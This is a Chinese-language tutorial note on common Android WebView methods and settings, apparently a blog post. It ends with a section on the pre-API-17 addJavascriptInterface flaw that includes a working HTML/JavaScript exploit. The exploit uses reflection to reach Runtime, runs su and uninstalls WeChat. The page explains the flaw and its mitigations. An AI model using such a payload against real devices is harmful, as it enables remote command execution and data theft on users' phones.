Android应用开发中WebView的常用方法笔记整理
基本使用
使用webview通常是需要网络的,所以需要加*问网络的权限
<uses-permission android:name="android.permission.internet" />
1.加载某个url的方法
webview.loadurl("http://www.baidu.com");
需要注意的是不要省略前面的http://,省略的话,某些rom中的webview会加载失败
2.加载assets中的html
webview.loadurl("file:///android_asset/xxx.html")
3.加载一段javascript
webview.loadurl("javascript:" + ${js_code})
4.为js提供本地方法
如下,提供一个showtoast的方法给javascript
private static class javajs { private context context; javajs(context context) { this.context = context; } @javascriptinterface public void showtoast(string str) { toast.maketext(context, str, toast.length_long).show(); } } webview.addjavascriptinterface(new javajs(this), "javajs"); <script type="text/javascript"> javajs.showtoast("toast from js"); </script>
注意:
- 提供给javascript的方法必需是public的,否则js无法访问
- 提供给javascript的方法将会在webview管理的线程中执行,因此要保证该方法的线程安全性.(toast是支持在非ui线程中show()的,所以上面的showtoast方法是没问题的)
- 提供给javascript的方法一定要加上 @javascriptinterface
- 在android 4.2,api 17之前,javascript可以通过反射java对象,来执行一些危险操作.比如反射取到runtime,然后执行shell命令
- 虽然@javascriptinterface是在api 17加上的,但是api 17之前,我们依然建议将提供给javascript的方法加上该annotation.(jsr-175规定,运行时annotation缺失,则直接忽略,而不会抛出classnotfoundexception)
- 针对android 4.2以前的设备,我们建议不要通过addjavascriptinterface向javascript提供方法,并且通过removejavascriptinterface("searchboxjavabridge_")来移除webview自己添加的java对象.
5.页面跳转
webview.setwebviewclient(new webviewclient() { @override public boolean shouldoverrideurlloading(webview view, string url) { if (uri.parse(url).gethost().equals("www.xxx.com")) { // 自己的页面,直接使用webview加载 return false; } // 别的公司的页面,使用浏览器打开 intent intent = new intent(intent.action_view, uri.parse(url)); startactivity(intent); return true; } });
6.访问历史回退
@override public boolean onkeydown(int keycode, keyevent event) { if ((keycode == keyevent.keycode_back) && webview.cangoback()) { webview.goback(); return true; } return super.onkeydown(keycode, event); }
7.在logcat中输出javascript的日志信息
重写webchromeclient中的onconsolemessage方法
@override public boolean onconsolemessage(consolemessage consolemessage) { log.d("webview", consolemessage.message() + " js line: " + consolemessage.linenumber()); return true; }
8.支持javascript的警告框 alert
重写webchromeclient中的onjsalert方法
@override public boolean onjsalert(webview view, string url, string message, final jsresult result) { new alertdialog.builder(mainactivity.this) .settitle("jsalert") .setmessage(message) .setpositivebutton("ok", new dialoginterface.onclicklistener() { @override public void onclick(dialoginterface dialog, int which) { result.confirm(); } }) .setcancelable(false) .show(); return true; }
9.支持javascript的确认框 confirm
重写webchromeclient中的onjsconfirm方法
@override public boolean onjsconfirm(webview view, string url, string message, final jsresult result) { new alertdialog.builder(mainactivity.this) .settitle("jsconfirm") .setmessage(message) .setpositivebutton("ok", new dialoginterface.onclicklistener() { @override public void onclick(dialoginterface dialog, int which) { result.confirm(); } }) .setnegativebutton("cancel", new dialoginterface.onclicklistener() { @override public void onclick(dialoginterface dialog, int which) { result.cancel(); } }) .setcancelable(false) .show(); return true; }
10.支持javascript提问框 prompt
重写webchromeclient中的onjsprompt方法
@override public boolean onjsprompt(webview view, string url, string message, string defaultvalue, final jspromptresult result) { final edittext et = new edittext(mainactivity.this); et.settext(defaultvalue); new alertdialog.builder(mainactivity.this) .settitle(message) .setview(et) .setpositivebutton("ok", new dialoginterface.onclicklistener() { @override public void onclick(dialoginterface dialog, int which) { result.confirm(et.gettext().tostring()); } }) .setnegativebutton("cancel", new dialoginterface.onclicklistener() { @override public void onclick(dialoginterface dialog, int which) { result.cancel(); } }) .setcancelable(false) .show(); return true; }
11.显示空白页
webview.loadurl("about:blank"); //该方法使得webview只会绘制一个白色背景,并且释放之前加载页面时使用的资源,并停止之前javascript的执行
12.清除返回栈 webview.clearhistory
13.获得访问历史列表 webview.copybackforwardlist
14.下载 webview.setdownloadlistener
15.pausetimers, onpause, resumetimers, onresume
pausetimers, onpause 停止解析,javascript执行等操作.区别是 onpause 只作用于调用它的webview,而 pausetimers 作用于当前应用中所有的webview
resumetimers, onresume 恢复解析,javascript执行等操作.区别是 onresume 只作用于调用它的webview,而 resumetimers 作用于当前应用中所有的webview
常用设置
1.安全相关(去掉不必要的javabridge)
//这个java bridge是webview自己添加的 //在api 17以前,javascript可以通过java对象进行反射,执行一些不安全的操作 webview.removejavascriptinterface("searchboxjavabridge_");
2.js相关
//设置支持javascript,默认是false websettings.setjavascriptenabled(true);
3.缩放相关
//使webview支持通过手势或者缩放控制器来缩放页面,默认是true //该设置不影响 webview.zoomin()和webview.zoomout() websettings.setsupportzoom(true); //设置使用默认的缩放控制器,默认是false websettings.setbuiltinzoomcontrols(true); //不显示默认的+/-缩放控制view, 默认是true websettings.setdisplayzoomcontrols(false); 加载图片策略相关 //设置是否自动加载图片,默认是`true`,如果设置为`false`,那么所有图片都不会被加载,包括本地图片. websettings.setloadsimagesautomatically(true); //设置是否阻止加载网络图片,默认是`false`,如果设置为`true`,那么网络图片将不会加载.(可以先设置为true,然后再设置为false,来加快页面加载速度) websettings.setblocknetworkimage(false); //设置是否阻止加载网络资源(不仅仅是图片),默认是`false`,如果设置为`true`,那么网络上的js,css,图片等资源都不会加载 websettings.setblocknetworkloads(false);
4.渲染相关
//设置渲染线程的优先级 //该方法在 api 18之后被废弃,优先级由webview自己管理 //不过任然建议将其设置为 high,来提高页面渲染速度 websettings.setrenderpriority(renderpriority.high); viewport相关 //设置使用 宽 的viewpoint,默认是false //android browser以及chrome for android的设置是`true` //而webview的默认设置是`false` //如果设置为`true`,那么网页的可用宽度为`980px`,并且可以通过 meta data来设置 //如果设置为`false`,那么可用区域和webview的显示区域有关. websettings.setusewideviewport(true); //如果webview内容宽度大于显示区域的宽度,那么将内容缩小,以适应显示区域的宽度, 默认是false webview.setloadwithoverviewmode(true); <!--如果websettings.getusewideviewport 是true, 那么可以通过meta来设置 viewport --> <!--例如将其可用宽度设置为 480px, 并且禁用缩放功能--> <head> <meta name="viewport" content="width=480, user-scalable=no" /> </head> <!--如果websettings.getusewideviewport 是false, 那么 不能 通过meta来设置-->
其效果类似于:
<meta name="viewport" content="width=device-width"/>
注意: 这里的px和通常说的像素不同,他和dp的概念非常类似. 参见 mozilla
前端存储相关设置(方便前端工程师在客户端存储数据)
//支持h5的 application cache 的功能 websettings.setappcacheenabled(true); //设置 application cache 的存储路径(通常存储js,css,图片等) websetting.setappcachepath("xxx"); //支持 h5 的session storage和local storage websettings.setdomstorageenabled(true); //支持javascript读,写db websettings.setdatabaseenabled(true); //设置js创建的db文件的路径, api 19以后废弃,直接有webview管理 websettings.setdatabasepath("xxx");
5.缓存相关设置
//设置加载资源时,如何使用cache //默认设置是:websettings.load_default //当webview正常加载一个页面时,如果缓存命中且没有过期,则使用缓存数据,否则从网络加载,当webview.goback()时,如果缓存命中,直接使用,不会验证是否过期 //可用的其他设置:load_cache_else_network, load_no_cache, load_cache_only websettings.setcachemodel(websettings.load_default);
6.cookie相关
public static void syncookies(context context, string url) { cookiemanager cookiemanager = cookiemanager.getinstance(); cookiemanager.setacceptcookie(true);//默认就是true cookiemanager.setcookie(url, cookies); if(build.version.sdk_int < 21) { cookiesyncmanager.createinstance(context).sync(); } else { cookiemanager.flush(); } }
addjavascriptinterface的安全问题
1.为javascript提供native接口的途径
android webview 提供一个addjavascriptinterface方法来为javascript创建一个javabridge.
例如给js提供一个showtoast的方法:
private static class javajs { private context context; javajs(context context) { this.context = context; } @javascriptinterface public void showtoast(string str) { toast.maketext(context, str, toast.length_long).show(); } } webview.addjavascriptinterface(new javajs(this), "javajs"); <script type="text/javascript"> javajs.showtoast("toast from js"); </script>
2.安全问题
api 17之前,在webview为javascript提供了java对象之后, 可以利用javascript代码调用java的反射api,进行一些hack操作,导致安全性问题.(<font color=red>注意: </font>低版本的webview会自己添加一个searchboxjavabridge_对象,通常我们需要自己移除)
api 17之后,webview会禁止javascript调用没有添加@javascriptinterface方法,从而避免上述问题.(<font color=red>注意: </font>推荐大家始终添加@javascriptinterface,而不用关心api版本,因为annotation缺失并不会导致classnotfoundexception,而仅仅是被jvm忽略)
安全问题示例 (通过javascript卸载微信)
通过反射可以干很多事情,比如类似于 userinfo 这样的对象,如果他是单例的话,那么很容易可以取到用户的 用户名,邮箱,手机号 等信息.
此处展示一个简单的页面,当通过webview打开这个html,手机上的微信就会被卸载(当然前提是该app拥有root权限).
<html> <head> <script> function tobytearray(str) { var ch, stack, result = []; for(var i = 0; i < str.length; ++i) { ch = str.charcodeat(i); stack = []; do { stack.push(ch & 0xff); ch = ch >> 8; } while(ch); result = result.concat(stack.reverse()); } return result; } function execcmd(outputstream) { var cmd = "adb shell pm uninstall com.tencent.mm"; outputstream.write(tobytearray(cmd)); outputstream.close(); } function tostring(inputstream) { var result = ""; var c; while((c = inputstream.read()) != -1) { var s = string.fromcharcode(c); result += s; } return result; } function hack() { for(var obj in window) { if("getclass" in window[obj]) { console.log(obj); var runtime = window[obj].getclass().forname("java.lang.runtime").getmethod("getruntime", null).invoke(null, null); var p = runtime.exec(["su"]); execcmd(p.getoutputstream()); alert(tostring(p.getinputstream())); break; } } } hack(); </script> </head> <body> 卸载微信 :) </body> </html>
推荐阅读
-
Android应用开发中WebView的常用方法笔记整理
-
详解Android应用开发中Intent的作用及使用方法
-
详解Android应用开发中Intent的作用及使用方法
-
Android开发实现webview中img标签加载本地图片的方法
-
Android开发中获取View视图宽与高的常用方法小结
-
iOS应用开发中AFNetworking库的常用HTTP操作方法小结
-
Android开发中获取View视图宽与高的常用方法小结
-
iOS应用开发中AFNetworking库的常用HTTP操作方法小结
-
Android开发实现webview中img标签加载本地图片的方法
-
iOS应用开发中实现页面跳转的简单方法笔记